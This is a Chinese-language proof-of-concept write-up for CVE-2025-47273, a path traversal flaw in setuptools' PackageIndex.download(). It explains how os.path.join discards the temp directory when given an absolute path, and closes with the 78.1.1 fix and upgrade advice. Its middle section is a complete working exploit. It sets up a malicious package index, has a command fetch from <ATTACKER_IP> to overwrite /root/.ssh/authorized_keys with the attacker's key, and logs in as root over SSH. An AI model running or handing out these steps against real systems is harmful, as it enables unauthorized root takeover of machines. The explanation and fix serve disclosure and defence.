此概念验证(PoC)仅供教育目的和授权安全审计使用。作者不对本信息的滥用承担任何责任。未经授权访问计算机系统是非法的且不道德。
CVE-2025-47273 是在 setuptools 库(v78.1.0 及更早版本)的 package_index 模块中发现的一个路径遍历漏洞。该漏洞允许攻击者通过向 PackageIndex.download() 方法提供特制 URL 来执行任意文件写入。
该缺陷源于 Python 的 os.path.join() 函数的一个常见陷阱。根据 Python 文档:
如果某个组件是绝对路径,则之前的所有组件都会被丢弃,并从该绝对路径组件继续拼接。
在易受攻击版本的 setuptools 中,目标文件名通过从 URL 中提取名称并与临时目录拼接来确定:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
如果攻击者提供的 URL 中文件名部分(URL 解码后)以斜杠 / 开头,则 os.path.join 会丢弃 tmpdir 前缀,并返回 URL 中提供的绝对路径。
[ 攻击者控制的 URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL 解码
v
[ 解码后的文件名 (name) ]
"/etc/passwd"
|
| 2. 易受攻击的函数调用
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join 逻辑
v
[ 结果路径 (filename) ]
"/etc/passwd" <-- /tmp/download_dir 被丢弃!
由于目标路径可以被操控为绝对路径,攻击者可以向文件系统上进程具有写入权限的任何位置写入任意内容。
setuptools 的进程以提升的权限运行(例如系统级安装程序),攻击者可以覆盖关键系统文件,如 /etc/passwd、/root/.ssh/authorized_keys 或 /etc/shadow,以及其他许多可能性...~/.bashrc、~/.ssh/authorized_keys,或将代码注入现有的 Python 库,可导致持久的远程代码执行。/root/.ssh/authorized_keys )该漏洞存在于 setuptools 版本 78.1.0 中。
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
server.py 脚本充当恶意包索引。无论请求的路径如何,它都会提供一个 payload 文件,而我们提供的文件是 id_rsa.pub。
python3 server.py 80
使用此命令触发文件写入,然后您可以使用预先生成的 SSH 密钥对以 root 身份 SSH 登录
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
该漏洞已在 setuptools 版本 78.1.1 中得到修复。修复措施包括严格清理从 URL 派生出的 name 变量,确保在将其传递给 os.path.join() 之前不包含前导斜杠或驱动器号。
为了保护您的环境:
pip install --upgrade setuptools